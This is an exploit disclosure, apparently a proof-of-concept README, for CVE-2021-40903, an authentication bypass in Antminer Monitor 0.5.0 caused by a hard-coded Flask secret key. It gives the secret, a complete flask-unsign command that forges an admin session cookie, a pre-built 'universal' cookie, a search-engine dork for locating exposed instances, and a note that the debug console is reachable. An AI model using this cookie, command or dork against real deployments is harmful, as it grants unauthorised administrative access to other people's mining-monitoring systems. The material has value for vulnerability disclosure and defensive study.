CVE-2021-40903# Exploit Title: Antminer Monitor 0.5.0 - Authentication Bypass
#### CVE: CVE-2021-40903
Date: 09/06/2021
Dork:https://www.zoomeye.org/searchResult?q=%22antminer%20monitor%22
Exploit Author: CQR.company / Vulnz.
Vendor Homepage: https://github.com/anselal/antminer-monitor, https://twitter.com/intent/follow?screen_name=AntminerMonitor
Software Link: https://github.com/anselal/antminer-monitor, https://soulis.tech/
Version: 0.5.0
Tested on: Windows, Linux, Macos
Software is commonly used for Monitoring antminers and could easily be
found in zoomeye ( 800), shodan ( 500).
For now this is the most popular antminer monitoring tool.
Vulnerability in Antminer Monitor exists because of backdoor or
misconfiguration done
by developer inside settings file in flask server.
Settings file has a predefined secret string, which would be randomly
generated, however it is static in this
build.antminer-monitor/settings.py at
5c62e1064af30674bacb9e1917d5980efbde1fcd · anselal/antminer-monitor ·
GitHub <https://github.com/anselal/antminer-monitor/blob/5c62e1064af30674bacb9e1917d5980efbde1fcd/config/settings.py>
Secret key is 'super secret key'.
Based on this information we can craft authorization bypass cookies.
Using software flask-unsing we can generate cookie which will provide
you admin access.
`flask-unsign --sign --cookie "{'_fresh': True, '_id':
b'df230a95eb5318d31fa83690c667cfd6a824dbfe61949bf30b9d75e71c6ea20714b87113fcafe2340df9a8a6f3567e7a2faedc2c12d05e4e338558e47afe84f6',
'_user_id': '1', 'csrf_token':
b'15d0261b7f3f40849920ebb94f7a2368397f76ff'}" --secret "super secret
key"
`
Additionally you can use this universal cookie to access web interface
of flask application.
This cookie can work on all systems in "session" field.
`.eJw9j81Og0AURl_FzLoLfmTTpAubaQkm9xLMpeTeTaNAGQdGE9BQp-m7O3HhA3zfOeemzpe5X4zaXl6npd-o83untjf18Ka2SnL-Ab83JZ0mtrUHMiP4o2MaPNpxZc8JJuhEiyl1EUn-7IT4WlKVsWMPeZGJbmOh9speJqZiRX-I2A4p0MGLQyOuDoxqDayMyRgMOyROhToDTow0LxYcXMFVKzZ1JAS-1HVc5nWEyTHwhkgs79Q9uH8v_fwXoGK1Ue0yX85fn2P_8V8EdBpBFwk0RSoWHeqnR9RjBnY_sSsyzDkNlqFu8CV1DoOjDLvwfv8FnZ1jTQ.YS2Hvw.a-bvt7Y4e2kKNs0iXkRxHnRRJAU`
In addition DEBUG = True which means /console works, however it needs pin.
[4.0K] /data/pocs/a3d4a8394f87715896591874215a8892cefe4117
└── [2.2K] README.md
0 directories, 1 file